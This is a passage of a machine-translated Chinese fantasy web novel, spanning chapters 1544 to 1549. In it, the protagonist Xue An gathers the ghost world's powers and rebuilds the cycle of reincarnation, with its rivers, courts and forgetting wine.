    Xue An raised his eyes and glanced at Ye Hanchang, "Are you sure you want to drink with me?"


    Ye Hanchang''s smile froze, remembering the not-so-good scenes when he was drunk before, and he immediately persuaded him.


    "Didn''t I just say that, you think you are stingy..."


    Xue An didn''t bother to care about him, so he raised his hand and opened the bottle cap.


    A strange fragrance instantly filled the entire courtyard.


    Different from the strong aroma of ordinary drinks, this aroma has a hint of sweetness, which makes people just want to indulge in it and don''t want to wake up.


    But Ye Hanshang smelled an unusual smell from this fragrance, and his face couldn''t help becoming a little serious.


    "Old Xue, this wine..."


    Xue quietly looked at the sapphire wine bottle in his hand, and finally sighed slightly, "Meng Qianchen... I didn''t expect that she actually made it!"


    Ye Hanshang stopped talking, but looked at the wine bottle with flickering eyes, not knowing what he was thinking.


    But soon, this silent situation was broken by a voice full of surprise.


    It just sounded weird, it seemed...like drooling.


    "Wow, what does this smell like, it smells so good!"


    Following the voice, Zhang Xiaoyu poked her head out from behind the flower gallery, looking at the wine bottle in Xue An''s hand with a drunken face.


    Ye Hanshang unexpectedly liked this little monster, so after seeing Zhang Xiaoyu, he beckoned and smiled and said, "What are you doing standing there, come here!"


    Zhang Xiaoyu came to the front, and the closer he got, the more intense the fragrance.


    Octopus''s saliva also flowed more and more.


    Xue An gave Zhang Xiaoyu a dumbfounded look, "Why do you think of and miss them?"


    Just now Zhang Xiaoyu took Miss Miss to the back garden to play, so after hearing Xue An��s question, Zhang Xiaoyu said: "Miss Miss Yan went to school with sister Yan, so I came back by myself!"


    Although she was talking, Zhang Xiaoyu''s eyes never left the bottle in Xue An''s hand. In the end she couldn''t help but said, "My lord, what is this?"


    "This is wine!"


    "Wine! Can I taste it then?" Zhang Xiaoyu asked impatiently.


    Xue An raised his eyebrows slightly, "You still drink?"


    Zhang Xiaoyu nodded as if pounding garlic, "Of course When I was next to the Sea-Monster Princess, I used to steal wine from the palace!"


    "But this is not an ordinary wine, it is extremely strong!" Xue An said lightly.


    Zhang Xiaoyu looked at the rosy-colored wine in the sapphire bottle with a little disapproval in her heart, but continued, "Don''t worry, sir, I drink well, I am not drunk at all, and I will just take a sip. Can it!"


    Xue looked at Zhang Xiaoyu quietly, and saw her scratching her head and greedy, he couldn''t help but shook his head helplessly.


    "Okay! Then you have a taste!"


    With that said, Xue An picked up a teacup, poured out a shallow drink at the bottom, and handed it to Octopus.


    Zhang Xiaoyu slandered himself secretly, the adult was so stingy, he was so stupid, but he took it over with a smile.


    "Thank you, sir!"


    After all, she picked up the teacup and drank it, and then stood silently on the spot.


    "How is it?" Ye Hanshang couldn''t help but asked curiously.

 Chapter 1544： Grand meeting held

    But as soon as the voice fell, Zhang Xiaoyu''s buns face instantly flushed, and then he blinked his eyes, plopped, and fell straight to the ground.


    After landing, the octopus could no longer maintain a human form, and strips of tentacles popped out, directly showing the body.


    "I wiped it, what''s going on?" Ye Hanshang was also taken aback.


    Xue An said indifferently: "I said, this wine is very strong, but she didn''t believe it, she ended up drunk!"


    With that, Xue An turned to look at Ye Hanshang, "How about it? How about we both have a drink?"


    Ye Hanchang stood up immediately, "I suddenly remembered that there is something to do today, goodbye!"


    After talking, he fled and left.


    He is not afraid of getting drunk, but he is afraid of talking nonsense when he is drunk.


    After all, the lesson last time was very profound.


    Ye Hanchang left, Xue An sat on a stool, looked at the drunk Octopus lying on the ground, and couldn''t help sighing again.


    "Why the hell? But this wine..."


    Xue An looked at the wine in the sapphire bottle, and a meaningful look appeared on his face, "If you use it well, it can be of great use!"


    Hu Ying walked around the sleeping Octopus for several times, but still didn''t see any clues, she couldn''t help muttering with a puzzled look: "It shouldn''t be...it should be awake! What is going on? "


    Similarly, thinking and thinking after hearing the news is also a little anxious.


    "Dad, what''s wrong with Xiaoyu?"


    "Little fish is drunk!"


    "Drunk? But why did Sister Fox fill her with sobering water and still not wake up?" Think about it.


    At this moment, it has been a whole day since Zhang Xiaoyu fell to the ground drunk. No matter what method is used, Zhang Xiaoyu just can''t wake up.


    So the two little girls are already anxious.


    Xue An smiled when he heard the words, then stood up and walked to Zhang Xiaoyu in his body state.


    "Do you see anything?"


    Hu Ying shook her head, "I can''t tell, I have used all the methods, but she just sleeps like a dead pig, if she is unconscious, there is no sign of injury!"


    Xue An smiled, "Of course you can''t see anything, because her current state has nothing to do with being drunk!"


    "What''s going on?" An Yan couldn''t help asking.


    Xue An said softly: "Because she is transforming at this moment!"


    "Transformation?" Hu Ying''s expression changed.


    Xue An nodded, "Yes, to put it bluntly, she is growing up gradually by chance and coincidence!"


    Hearing what Xue An said, everyone''s hearts were only half relieved, but immediately after thinking and Nian Nian couldn''t help but ask.


    "Dad, will she be in a coma like Xiao Sha?"


    Xue An smiled, "Of course not, because she is in a completely different situation from Xiaosha. I estimate that she will wake up naturally within a few days at most!"


    really.


    Wait until three days later.


    Zhang Xiaoyu finally opened his eyes and stretched out comfortably.


    "Sleep so comfortable! Hey, my tentacles..."


    Zhang Xiaoyu was surprised to find that her tentacles suddenly became much more dexterous, and there were two more.


    Missing Nian, who had been by her side, cheered when she saw it.


    "Little fish, you finally wake up!"


    Soon, Xue An also rushed over after hearing the news.


    At this time, Zhang Xiaoyu was still in a state of bewilderment, but after seeing Xue An, she suddenly remembered something, and solemnly nodded at Xue An.


    "grown ups!"


    "Wake up?" Xue An smiled slightly.


    Octopus blushed and lowered his head.


    "Let''s talk about it, what did you see after drunk?" Xue An said lightly.


    Zhang Xiaoyu shook all over, and then said foolishly: "My lord, this wine is really amazing. After I got drunk, I actually dreamed that Lord Xiaosha woke up, and the picture was so real that I also met the princess. Your Highness, we are having fun together..."


    "Is that so?" Xue An asked.


    "That''s it!"


    "Then how do you feel now?"


    "I feel... I am very calm, as if I have solved a knot in my heart!" Zhang Xiaoyu hesitated for a long time, and finally came up with this adjective.


    Xue An laughed at the words, "Very good! This is your chance too!"


    After leaving this sentence, Xue An turned and left Fu Bao Xiaolou.


    Ye Hanchang was waiting outside. When he saw Xue An coming out, he couldn''t help asking, "How''s it going?"


    "Not bad! I''m already awake!" Xue An said with a smile.


    Ye Hanshang took a deep look at Xue An, and suddenly said, "Do you know that sometimes when you laugh like this, it is really hateful?"


    "Have it?"


    "Of course, because you smile like this, it feels like you are mocking someone else''s IQ!"


    "Is your IQ still mocking me?" Xue An raised his eyebrows slightly.


    Ye Hanshang: "..."


    "Seriously, have you already figured out how to arrange this Meng Yao?"


    "Forget it! At least this wine gave me an inspiration!"


    Ye Hanchang was silent for a moment, finally sighed and patted Xue An on the shoulder.


    "Okay, I won''t say much about anything else. Two more days will be the opening day of the conference, I hope... everything goes well!"


    Xue An smiled faintly, "Don''t hope, because I''ve prepared everything, so...it''s definitely going well!"


    The January period passed in a flash.


    The day when the conference was officially held has finally arrived.


    On this day, since the morning, the streamers of all colors in the sky have never stopped.


    The strong from all sides of the ghost world are like crucian carp who crossed the river, standing in front of the big square in front of Wei''s house.


    Wei Qingxiao, Wen Muling and others went to battle in person to maintain order on the square.


    When the latecomers really had no place to settle, they simply connected them together with ghost flying boats to form a platform floating in the air, and people with more noble identities stood on these platforms.


    The former master of lava, and the present disciple of Buddha Rong Yang, bowed his head and looked down at the dense crowd at his feet. Among them were many seniors who had been in hiding for many years.


    Seeing this scene, Rong Yang couldn''t help being moved with horror: "Master, you see, the ghost world has not had such a grand event for a long time!"


    Jin Jue had been bowing his head and chanting the Buddha''s name. After hearing the disciple''s words, he raised his head to take a look and then smiled slightly.


    "It''s normal for so many people to come to the grand meeting held by Master Mingjun and Master Guizun!"


    "But Master, do you think Mingjun and Guizun can really solve the dilemma facing the ghost world today?" Rong Yang asked with some doubts.


    Jin Jue shook his head, "I don''t know! But if even the two of them can''t solve this problem together, then no one in the heavens can do it!"

 Chapter 1545： Alchemy

    Rong Yang''s lips moved, and he wanted to continue to say something, but in the end he did not open his mouth.


    Because at this moment, a stream of light flew onto the platform, and after he emerged, it was Meng Yao.


    Upon seeing her, Rong Yang''s expression couldn''t help becoming a little weird.


    In the old days, he admired Meng Yao a lot, but Meng Yao has always treated him with words.


    I thought that after practicing Buddhism, these things had already been put down.


    But after seeing Meng Yao again, Rong Yang''s heart was still shocked.


    She... seems to be thin!


    This scene also fell in Jin Jue''s eyes. He shook his head, and suddenly remembered his fellow apprentice who was equally astonishing and brilliant, but fell into the magical path because of a love letter.


    You know, that is a bodhisattva who has cultivated invisibly!


    Is this love word really so powerful?


    Jin Jue let out a long sigh.


    At this moment, Meng Yao didn''t notice the strangeness around her. She stared at the high platform in the distance, her eyes flowed, her hands clenched together unconsciously.


    Sir, he...should have received his own drink! I wonder if he is satisfied?


    at the same time.


    The audience also boiled for a while.


    "Hey, how do you think Mingjun and Guizun plan to save our ghost world this time?"


    "Who knows! But I think with the strength of these two adults, there should be a way!"


    "Hehe, I don''t think so. Now that the ghost world obviously has a big problem, it can''t be saved by manpower at all. If I say, it is better to move out of the ghost world as soon as possible!"


    In short, it has everything.


    At the moment when the discussion was raging, but seeing two figures stepping in the void from a distance, their speed seemed to be slow but fast, and they appeared on the high platform in an instant.


    It was Xue An and Ye Hanshang.


    After seeing the two of them, the audience instantly fell silent.


    Regardless of whether it was hopeful or dismissive of this matter, all of them closed their mouths and watched quietly.


    It was Ye Hanshang who spoke first. He looked around the audience and then said aloud: "I invite you to come today. I think everyone already knows what happened. I don��t want to talk nonsense. The situation we are facing now. It is indeed very serious, because the origin of the ghost world has already suffered extremely severe damage!"


    As he said, he saw Ye Hanchang wave his hand, and a huge light curtain appeared in front of everyone, and it was the appearance of the ghost world origin after being severely injured.


    But after seeing this scene, the audience was in an uproar.


    "What am I talking about, the origin of the ghost world has been cut off, how can this be saved?" Someone sneered.


    There are many others who are pale and desperate.


    Because if this is the case, then the ghost world is indeed dead, but now the body is still cold.


    At this time, floating on the platform in the air, the crowd was also a commotion.


    Rong Yang changed his face suddenly and exclaimed, "Master, something happened in the ghost world! What should we do?"


    Jin Jue didn''t have the slightest color of anxiety. He just looked at the scene on the light curtain meaningfully, and said lightly: "Don''t worry, let''s watch first!"


    As for Meng Yao, she has been watching Xue An quietly since Xue An came out, but as for the others, she simply ignored them.


    Xue An seemed to have noticed her gaze, turned his head slightly, and looked at Meng Yao''s side.


    The eyes of the two met, Meng Yao trembled all over, and his face gradually turned pale.


    Xue An smiled slightly and nodded at her, then stepped forward and looked around the audience.


    As far as I could see, the restless crowd instantly calmed down.


    The audience also quieted down.


    Meng Yao took a deep breath and forced herself to calm down.


    at last.


    The audience became silent, and then Xue An said in a calm tone: "I know you all have a lot of doubts, and I won''t explain too much, because since I have gathered everyone here, there is naturally a way to solve the dilemma. of!"


    As soon as this remark came out, the audience shook.


    Someone who was daring shouted: "Master Guizun, I don''t know what method you are going to use to solve this problem?"


    "Yes! You can explain it to us!"


    The shouts came and went, and there were many well-intentioned incitements.


    Xue An was extremely calm about this, and just said lightly: "Explanation? No need, because now I have basically solved the matter!"


    what?


    This time not only the people who were inciting anxiety were shocked, but even Jin Jue and others were shocked.


    Solved?


    Are you kidding me?


    Is it that simple?


    Seems to be aware of everyone''s doubts, Xue An smiled, and then waved.


    A new light curtain appeared in front of everyone.


    In the light curtain, the original ghost realm, which had been extremely dilapidated before, had changed its appearance.


    Seeing He Yinuo and others are constantly busy, every second, the origin of the ghost world in the picture will recover a little.


    The whole picture is carried out in a fast-forward posture.


    And it can be seen that the work at this moment is nearing completion.


    Everyone''s mouths were wide open, and no one dared to speak.


    Finally, everything in the picture stopped, He Yinuo and the others completely finished the work in their hands, and then stood together.


    Behind them is the completely new source of the ghost world.


    "My lord, fortunately, the ghost world has been restored!" He Yinuo, Nalan Zhongqin and others shouted.


    The sound came out through the light curtain, causing a commotion in the audience.


    Xue An nodded, "Very good! You guys step back, next... it''s me!"


    "Yes!"


    He Yinuo and others then left the origin of the ghost world through the passage.


    The audience was terribly quiet, everyone focused their attention on Xue An, wondering what he planned to do next.


    A faint smile was outlined at the corner of Xue An''s mouth, and then a magician appeared in front of him and began to spin quickly.


    As the Rubik''s Cube turned, the origin of the ghost world in the light curtain became brighter.


    Everyone felt that the ground under their feet was shaking, and the dark clouds in the sky also receded.


    This vision makes everyone feel terrified.


    At the same time, Xue An suddenly raised his eyes, looked directly at Jin Jue in the distance, and shouted.


    "Monk, what is your Buddha''s wish?"


    The eyes of the audience instantly converged on Jin Jue.


    Jin Jue was stunned and immediately understood something, a smile appeared on his face, then folded his palms together, and said faintly: "Hell is not empty, and you will not become a Buddha!"


    As soon as these eight characters came out, a great earthquake trembled, lotus blossoms in the ground, and golden rain in the sky.


    Rong Yang on the side was even more excited and his teeth were shaking.


    Xue An was also taken aback when he heard the words, but even when he laughed, "Well, there is no space in **** to swear to become a Buddha, if this is the case, then I will give you another chance!"


    With that said, Xue An stepped forward, raising his beard and eyebrows, and shouted: "Alchemy is recast, and **** has begun. If you wait for your great wish, treat it as the underground store!"


    With a word, Jin Jue emits billions of light from his body to illuminate the world, but it makes his heart feel infinitely happy.


    Jin Jue''s body was completely recast by the golden light, the previous obstacle disappeared, and the whole person stepped into the invisible ground completely, and the incarnation was perfect.


    "I''m not returning, when will I wait?" Xue An said with a smile in his eyes.


    "Goodness!" Jin Jue folded his palms together, exclaiming joyfully, and then flew into the sky, the golden wheel appeared behind his head, shining through the world.

 Chapter 1546： All parties return

    This time, the whole audience was shocked.


    Even Ye Hanshang couldn''t help being stunned, and then looked at the scene in front of him with a look of astonishment, and whispered in his mouth: "I*! Old Xue, now I finally understand what the great idea you said before is. , I have to say, you are a real cow*!"


    Xue An did not respond to Ye Hanshang''s words, because for him, all this... is just the beginning.


    But seeing Xue An turned his head and looked in the direction where Meng Yao and others were, he shouted: "Where is Meng Yao?"


    Meng Yao was shocked, with a dazed look on her face. Obviously she didn''t understand why Xue An called herself at this time, but she still subconsciously flew up, came in front of everyone, and said.


    "My lord, Meng Yao is here!"


    Xue An stared at Meng Yao deeply, and then declared: "Meng Yao, **** is about to be recast now, and all souls will be included in it in the future, and you can make a spirit wine that can cleanse the soul and forget the past, which is considered meritorious!"


    "Therefore, I order you to take charge of the Forgetting Station, and to specialize in the training of the memory of the soul. Would you like it?"


    Hearing what Xue An said, the audience was silent at first, and then there was a low uproar.


    "What? I''m still scouring the memory of my soul, what the **** is this Lord Guizun doing?" Someone said with a face full of disbelief.


    "Hehe, look at it, it''s getting more and more interesting!" Someone sneered.


    But at the same time, countless jealous eyes gathered on Meng Yao.


    Meng Yao''s complexion turned pale as paper, and her whole body was trembling slightly.


    Because she never expected such a thing.


    I just brewed a kind of wine, but the grown-up allowed himself to be in charge of the company?


    Although I don''t know what this bantering division is doing, it sounds important.


    Can I carry this heavy burden?


    A thousand worries were surging in Meng Yao''s heart, she couldn''t help but raise her eyes to look at Xue An.


    At this moment, Xue An also looked at her, and when the two of them gathered together, Xue An smiled at her, and then nodded gently.


    Somehow, after seeing Xue An''s smile, Meng Yao, who was originally full of worries, suddenly calmed down, and at the same time a tremendous courage emerged in her heart.


    Driven by this courage, she took a deep breath and nodded very solemnly.


    "Meng Yao...willing to take on this important task!"


    "Okay!" Xue An''s eyes showed a hint of appreciation, "In that case, Meng Yao, Director of the Forgetting Division, returns!"


    When the words fell, floating in front of Xue An, a ray of brilliance suddenly appeared in the spinning Rubik''s Cube, which was reflected on Meng Yao.


    Meng Yao''s whole body was shocked, and she felt that a great fortune suddenly descended on her body, and her whole body was exuding bright golden light, and then she involuntarily soared up and returned to the bottom of Jin Jue.


    There was another violent tremor in the world, and the complexions of many strong men became more and more solemn.


    Because they can clearly feel that this Fang Tiandi is undergoing an unprecedented great change.


    As for whether this great change is a blessing or a curse, it is not yet known.


    But Xue An obviously will not stop.


    Just after Meng Yao returned, Xue An suddenly raised his eyes and shouted: "Where is the Lord of the Ten Fang Palace?"


    In the ghost world, there are indeed ten party hall masters, who are ten powerful ones, in charge of one party, very tyrannical. For example, Rong Yang, the lord of lava, is one of the ten party hall masters.


    Although several hall masters died before Mingjun��s secret storage, after such a long period of time, naturally a new ghost clan powerhouse took over the position of the hall master.


    Therefore, when Xue An gave an order, the ten great hall masters including Rong Yang shook together, and then felt that an invisible huge force had suddenly come and lifted them into the air.


    Xue An��s eyes were like iron, and he swept across the ten masters of the palace, and then slowly said: ��You are all strong in this world, regardless of good or evil. This time the world has changed and the underground palace is reopened. You will divide the ten territories into equal parts, and protect the ghost realm to be safe, without error!"


    This time Xue An didn''t have any room for discussion at all, and immediately made a decision.


    And after he finished speaking, ten more subtle brilliance flew out of the Rubik''s Cube, reflecting on every palace master.


    With a faint sound, the ten palace masters changed their forms at the same time, whether they wanted it or not, and looked fierce or handsome, but no matter what, they all rose up and came under Meng Yao. .


    However, there is one exception, that is, Rong Yang, the lord of lava. Because he believes in the Dharma and worships Jinjue as his teacher, after becoming the lord of the ten directions, in addition to the original brilliance, he also appeared in his mind. A faint light wheel.


    This also makes his position slightly higher than the other main halls.


    Because of this, he also attracted a lot of jealous eyes.


    Xue An ignored these. At this moment, his complexion became more solemn, but he still spoke in a hurry.


    "Where is Xiaobang Xiaonian?"


    With an order, Ye Hanshang couldn''t help being stunned.


    Why is there still about these two little beasts?


    But of course he wanted to support Xue An unconditionally, so with a wave of his hand, the two little beasts flew into the air.


    "The **** is restarted, and there are many souls. As an alchemy life, you can be a soul-staying messenger, one left and one right, and the guardian of this world!"


    boom!


    When Guanghua reflected on these two little beasts.


    The two little beasts raised their eyes to the sky and let out a long howl, and then their stature began to increase dramatically.


    In the blink of an eye, the two little beasts transformed from the size of a poodle into a giant beast with a height of hundreds of feet, and their shapes have also changed greatly.


    Xiaobang has double horns and is as strong as a cow. His whole body is blue. The joints are all connected by gears and other objects, giving people a fierce and fierce feeling.


    The small noodles are as long as a horse, and the whole body is white, giving people a sense of joy and kindness.


    They also soared up, arriving around the Shifang Palace Master.


    It took a while.


    Xue An then sealed off all walks of life.


    At this moment the brilliance of the sky is shining, Jin Jue is high on the top, Meng Yao is close behind, and the lord of the ten squares is once again ranked first, and the bull''s head and horse face are on both sides.


    As the parties gathered, the momentum became extremely aggressive, and even the oppressive audience were a little breathless.


    Therefore, whether he is optimistic about Xue An or not, his expression at the moment has become extremely solemn.


    Because people want to know what Xue An plans to do next after spending so much effort?


    Could it be that only some people were entrusted?


    Although the momentum is quite shocking, everyone can feel that nothing fundamentally changed.


    The ghost world is still dying gradually.


    This does not change, and everything is vain.


    In such a solemn and highly anticipated situation, Xue was silent for a moment, then raised his head, took a deep breath, and spoke slowly.


    "it''s time!"

 Chapter 1547： Wan Fu Gui 1 Rotating Reincarnation

    oom!


    Following Xue An''s words, but seeing around Xue An, Dao Guanghua began to appear, and then a series of talisman seals appeared.


    These runes are of different shapes, but each has extremely complex textures and aesthetics, especially when they are gathered in so many numbers, they are as bright as a galaxy, which is dizzying.


    But the audience was still terribly quiet, because no one knew what Xue An was doing.


    at the same time.


    Xue An''s eyes suddenly showed an extremely bright brilliance. He raised his hand and wrote an extremely complicated and mysterious rune in the void before him, and then shouted word by word: "Ten thousand! Talisman! Go! One!"


    Starting from the first character, the sky full of talisman seals moved upon hearing the wind, frantically rushing to the runes in front of Xue An.


    Every time a talisman is fused, this rune will shine.


    By the time the last word was finished, the rune was as bright as the sun, making people afraid to look directly at it.


    Ye Hanshang stared blankly, "God! Is Lao Xue still Da Luo? How do I feel that he is more like a fairy king compared to him? And smelt Wan Talisman, what on earth does he want to do? "


    It seems to be in response to Ye Hanshang''s question.


    But seeing Xue An''s expression on his face, he slowly raised his hand, and with his movements, both the constantly rotating Rubik''s Cube and the rune moved.


    Immediately afterwards, Xue An began to slowly close together, and the runes and magic tools also moved closer.


    at last!


    The two touched together.


    There was no sound, not even unnecessary fluctuations, the two touched together like air.


    But then, Guanghua began to flicker violently, and then a magical scene appeared.


    The Rubik''s Cube is still spinning continuously, but a faint golden light connects it with the rune.


    Every time the Rubik''s Cube turns, a golden light will be drawn from the rune.


    As the Rubik''s Cube rotates faster and faster, the golden light of the runes begins to dim at a speed visible to the naked eye.


    But the Rubik''s Cube gradually showed a number of extremely dense and mysterious patterns.


    This process is very long to say, but in fact it is extremely fast, but in the blink of an eye, the rune completely collapsed, and the last rune on the Rubik''s Cube was also filled.


    At the moment when it was completely filled, the whole world suddenly became quiet.


    The wind stopped and the clouds seemed to stop flowing.


    People around can even hear the sound of blood rushing through the blood vessels of the body.


    But then there was a muffled sound.


    This muffled sound was like a heavy hammer hitting everyone''s heart.


    Everyone looked white.


    At this moment, the Rubik''s Cube suddenly disintegrated.


    That''s right!


    It is disintegration in the literal sense.


    Every part of the Rubik''s Cube was separated in an instant, and then began to permutate and combine insanely.


    This is almost a dream scene.


    Because often two small alchemy creations are combined together to become an extremely huge monster.


    This is as absurd as one plus one equals ten thousand.


    And this scene obviously violated everyone''s common sense.


    Only Ye Hanchang looked at it solemnly, his mouth was tightly pressed together, and he said nothing.


    at last.


    It''s over.


    What appeared in front of everyone was an unimaginable huge thing.


    If you have to reluctantly describe it, it''s like a roulette wheel. The difference is that this roulette wheel is divided into six areas. Each area is covered by a cloud of mist. The color of the mist is different. As a result, the colors of the six areas are different.


    After seeing this creation, Ye Hanshang''s pupils instantly shrank to the size of a needle.


    Although he couldn''t see the function of this thing, he could feel the almost miraculous power contained in this thing.


    at the same time.


    Xue An''s face was solemn, and the red lotus loomed between his eyebrows, violently urging the whole body''s cultivation base, the raging and violent sea-like power rolled out, and went straight to this creation.


    Click!


    The roulette began to spin slightly.


    At the moment the roulette wheel turned, everyone felt that the world had begun to change.


    But at this moment, Xue An''s face showed a pale color, and the roulette also stopped.


    Sure enough, this miraculous creation could not be turned at all with Da Luo''s cultivation base alone!


    Xue An sighed secretly, then shouted without looking back.


    "Help me!"


    Ye Hanshang woke up instantly when he heard the words, then a solemn expression appeared on his face, taking a deep breath.


    "it is good!"


    With this good sound, Ye Hanchang urged his whole body.


    boom!


    Cracks appeared in the space, as if it would collapse at any time.


    The majesty of the immortal king that is enough to shake the world goes straight to the roulette.


    Click!


    There was another crunch, and the roulette started to spin again.


    The amplitude of this rotation is much larger than before.


    But Ye Hanshang still underestimated the power of this roulette, and even with him, he still couldn''t catch it.


    The rotation of the roulette wheel began to slowly weaken again, and Ye Hanchang''s face flushed.


    At this moment, above the sky, Jin Jue, who was sitting on the lotus platform with his head down and chanting the scriptures, suddenly raised his head, his eyes widened, and the light wheel behind him suddenly rose, and then roared in the voice of dragon and tiger.


    "The donor is urgent, I''ll help you!"


    Following the voice, Blessed Golden Light also blasted towards the roulette.


    And this scene also reminded everyone else.


    Meng Yao did not hesitate to release his strongest strength, and then rushed towards the roulette.


    The lord of the ten squares looked at each other, and then unanimously released their strongest power.


    Even the cow head horse face is no exception, the two of them shook their bodies, shaking the roulette with pure mechanical force.


    In short.


    The forces of all parties gathered together to form a mighty torrent, coming straight into this roulette.


    Click!


    Under this powerful force, the roulette finally started slowly.


    But it was still so short, but by this time almost everyone had reached the limit.


    Just when everyone blushed and a look of despair appeared in their eyes.


    Xue An''s eyes were sharp, and he whispered: "The ghost king of all parties, listen to my orders and return to your place!"


    With an order, all the ghost clan powerhouses present couldn''t even struggle, and they were instantly changed by a mysterious force.


    Then these ghost kings were too surprised and they couldn''t help but contributed their strongest strength.


    Click!


    The last trace of power was filled in an instant, and the roulette finally started rumbling.


    At this moment, a scene of wonder slowly unfolded in front of everyone.


    In the endless void, the alchemy world and the ghost world blended together, and the two worlds directly overlapped.


    The original power of the ghost world that had been damaged was instantly patched up, and it regained its vitality.


    Then I saw the flaming sun and the crimson moon hanging above the sky of the alchemy world also crashed to the ground and turned into two long rivers.


    The day of light turns into a river that surrounds the entire ghost world, called Huangquan.


    The crimson moon turned into a river that runs through the entire ghost world, called the Styx!


    So far.


    Alchemy hell, now in the heavens!

 Chapter 1548： 6 reincarnation supreme virtues

    When the turntable of this miracle creation wheel was completely turned, the unowned lone souls that had filled all parts of the ghost world seemed to have been inspired, and came one after another.


    In an instant, the entire sky was occupied by densely packed living souls.


    Then these living souls turned into countless spots of light and cast into this cycle.


    The revolving disc was gradually lit, and the mist that had originally shrouded the six areas began to recede.


    Finally, this miracle creation showed its true colors.


    But among the golden light, the six realms of heaven, man, animal, asura, hungry ghost, and **** appeared and returned to their place completely.


    The souls of all parties are divided into different places according to the good and evil during their lifetime, and many ghost kings who have just been divided by Xue An are also included.


    Immediately afterwards, the lord of the Ten Fang Palace, Bull Head Horse Mian, including Meng Yao, all returned to this miraculous creation wheel turntable.


    The chaotic Tiandi Qiji instantly became orderly.


    Seeing this, Jin Jue put his palms together, and bowed his head to Xue An, and exclaimed with joy: "Xue Donor reshapes the world, recreates the cycle of reincarnation, and liberates the lonely souls and ghosts of all parties. It is truly a great virtue!


    Xue An smiled slightly, "The monk is polite, this is not my work alone, but it is also an opportunity for all beings in the ghost world!"


    Jin Jue smiled and nodded, "No matter what, I still have to thank you for these masterless souls, and go!"


    After that, Jin Jue flew up and burned his whole body''s cultivation base, and threw himself into the reincarnation very decisively.


    boom!


    After a loud noise.


    Jin Juegui is located in the middle of samsara, showing compassion on his face and proclaiming Buddha''s wish.


    "The **** is not empty, and you swear not to become a Buddha!"


    With a sound, billions of light appeared on the revolving disc, and countless lone souls showed gratitude. They knelt down in the direction of Jin Jue, and then turned into streamers to be relieved.


    Immediately afterwards, the square wheel revolving disc was concealed in the heavens and the earth, and it was completely bound to this square.


    This great change is finally complete.


    The ghost world at this moment has completely changed its appearance.


    At the extreme edge is the Tiewang Mountain, under which the Yellow Spring River flows.


    Crossing the Yellow Spring is the territory under the jurisdiction of the Shifang Palace Lord.


    These territories are lined up in sequence, and each of the hall masters is in charge of different, each performing their duties, guiding the soul to the Styx.


    And on the banks of the Styx River, is where the Expelling Division is located.


    Meng Yao is in charge of the refining of the soul and the authority to forget the past.


    Before entering the cycle of reincarnation, every living soul must drink the dream''s predecessor, and after losing all the wishes of his life, forget the predecessor, and finally throw his heart into the six realms without any concern.


    And Jin Jue turned into the Tibetan, guarding the six realms, and saving the soul.


    This is what Xue An said before, giving Jin Jue a great opportunity.


    Xue An and Ye Hanchang stood in the void, overlooking the six reincarnations at their feet.


    After a long time, Ye Hanshang sighed slightly.


    "Old Xue!"


    "Ok?"


    "To be honest, I have never convinced anyone in my life, but you are an exception!"


    Xue An smiled, "Why do you say that?"


    Ye Hanshang said solemnly: "Because you did a great good deed, and I asked myself if I could reshape the world, I can barely do it, but if you want to recreate reincarnation with the supreme mind like you, I really have strength. Not caught!"


    Xue An shook his head, "No need to praise me like that, I said, this is not my work alone!"


    "No! If it weren''t for you, we wouldn''t have such thoughts at all, so you deserve everyone''s thanks!" Ye Hanshang said very seriously.


    "Then how are you going to thank me?" Xue An said with a smile.


    Ye Hanchang took a deep breath, "As long as you want it, as long as I have it!"


    The atmosphere suddenly became silent.


    After a while, Xue An coughed lightly, "Although I know you are kind, why does this sound weird?"


    "Strange? Where is it?" Ye Hanchang was a little confused.


    "It''s... a little bit angry!" Xue An reluctantly described it.


    After knowing what g gas means in g, Ye Hanchang was silent for a moment, and then said in a deep voice, "When I didn''t say it!"


    After that, he turned around and walked away, so fast that he almost knocked down a mountain.


    When Ye Hanshang walked away, An Yan didn''t know when she appeared next to Xue An, and said softly: "Husband, what is Ye Hanshang doing so fast?"


    Xue An smiled, "I don''t know, maybe it''s something urgent!"


    An Yan nodded with some doubts, then looked down at the already formed alchemy hell, with a look of wonder in her eyes.


    "Husband, is this all you trained?"


    "Right!" Xue An smiled proudly.


    "Husband, you are so amazing!"


    Xue An smiled narrowly when he heard the words, then leaned to An Yan''s ear, lowered his voice and said, "Which aspect are you talking about?"


    An Yan didn''t understand what it meant at first, but when she saw the smile in Xue An''s eyes, she understood instantly, her face flushed to the base of her ears, and then she gave a vicious bite.


    "Bah, smelly rascal!"


    Xue An laughed, "You are a gangster, what can you do?"


    With that, he stretched out his hand to embrace An Yan''s waistline.


    An Yan twisted unnaturally, lowered her head, and said like a mosquito: "Don''t be like this... many people are watching!"


    Xue An smiled, "Is anyone watching? No way!"


    After all, Xue An waved his hand, and the turbulent spirit completely isolated the surrounding world.


    Before the Styx, Meng Yao withdrew his gaze from the firmament, her expression was very calm, she could not even see the slightest strangeness.


    However, Donghan said unbearably: "City Lord..."


    Meng Yao swept the temples near her ears, and said softly: "Don''t call me the city lord, the endless desert has disappeared, and now some are the masters of the chase!"


    "But..." Donghan was a little restless.


    "Needless to say, let''s work!" Meng Yao said calmly.


    "Yes...Yes!" Donghan nodded helplessly, then turned and left.


    Meng Yao sat in front of Quwangsi, watching countless souls slowly passing by, and walking into the reincarnation after drinking Mengqianchen, the corner of her mouth couldn''t help raising a faint smile.


    But with a smile tears fell down.


    at last.


    The divine consciousness shield was dissipated.


    An Yan''s face turned red, and she said softly: "Husband..."


    "Ok?"


    "Now that the ghost world has been dealt with?"


    "It''s finished!"


    "Then what are we going to do next?" An Yan asked curiously.


    "What''s next..." Xue An smiled, then gently squeezed An Yan''s little nose, "You will know it then!"


    An Yan snorted and broke free of Xue An''s "devil''s claws", then rubbed her nose, and said angrily: "What? Even I did not hide it?"


    "It''s not hiding it, it''s just that there are still some things that need to be dealt with in the ghost world! After it''s finished, it''s not too late for us to leave!"

 Chapter 1549： An uproar swept the sky

    "What else?" An Yan couldn''t help but wonder.


    "Hehe, the ghost world has undergone such a shocking change, naturally, I can''t hide it from the eyes of the heavens, but I am not suitable for appearing in front of everyone at this moment, so... I can only let one person carry the pot for me first!" Xue An Remarks with a smile but a smile.


    Somehow, after seeing her husband''s smile now, An Yan suddenly remembered a word that Hu Ying once said.


    As long as Xue An laughs like this, it means that someone is going to be unlucky.


    really.


    After Ye Hanshang heard Xue An''s narration, his eyes widened.


    "You mean to let me take this matter?"


    Xue An nodded, "Yes!"


